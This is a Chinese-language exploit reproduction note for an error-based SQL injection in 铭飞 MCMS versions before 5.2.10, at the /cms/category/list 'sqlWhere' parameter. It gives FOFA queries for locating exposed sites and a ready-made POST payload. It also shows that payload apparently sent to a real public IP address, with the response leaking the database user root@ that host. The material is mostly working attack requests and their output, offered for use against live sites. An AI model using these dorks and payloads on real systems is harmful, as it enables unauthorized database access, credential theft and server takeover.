M7-1铭飞-CMS-SQL

漏洞描述：

铭飞CMS在5.2.10版本以前list 接口处存在sql注入漏洞，能够利用该漏洞获取敏感信息，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

网站图片：

网络测绘：

fofa语法：

body="铭飞MCMS" || body="/mdiy/formData/save.do" || body="static/plugins/ms/1.0.0/ms.js"

漏洞复现：

payload：

```
POST /cms/category/list HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

sqlWhere=[{"action"%3a"","field"%3a"1+AND+EXTRACTVALUE(4095,CONCAT(0x5c,0x717a6a6271,(select user()),0x716b6a7871))","el":"eq","model":"contentTitle","name":"123","type"
```

效果图:
查询当前用户

Request

数据包扫描 热加载 构造请求

```
POST /cms/category/list HTTP/1.1
Host: 120.27.250.122
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

sqlWhere=[{"action"%3a"","field"%3a"1+AND+EXTRACTVALUE(4095,CONCAT(0x5c,0x717a6a6271,(select user()),0x716b6a7871))","el":"eq","model":"contentTitle","name":"123","type":"input","value":"a"}]
```

Responses https 2311bytes / 63ms

```
</style>
<body style="background-color: #E4E7EA;pa
<center>
    <img src="http://cdn.mingsoft.net/glo
    cdn.mingsoft.net/global/images/500.pn
    <div>
        <h3 style="clear: both; line-h
        系统错误</h3>
        <p style="clear: both; margin:
        font-size: 20px; color: #999;">
        AbstractFallbackSQLExceptionTrans
        (AbstractFallbackSQLExceptionTran
        UncategorizedSQLException:
### Error querying database. Cause: java
'\qzjbqroot@120.27.250.122qkjxq'
### The error may exist in net/mingsoft/c
### The error may involve defaultParamete
### The error occurred while setting para
### SQL: SELECT count(0) FROM cms_categor
CONCAT(0x5c, 0x717a6a6271, (SELECT user()
### Cause: java.sql.SQLException: XPATH s
; uncategorized SQLException; SQL state [
'\qzjbqroot@120.27.250.122qkjxq'; nested
syntax error: '\qzjbqroot@120.27.250.122q
        <a href="javascript:location.relo
        </a>     
```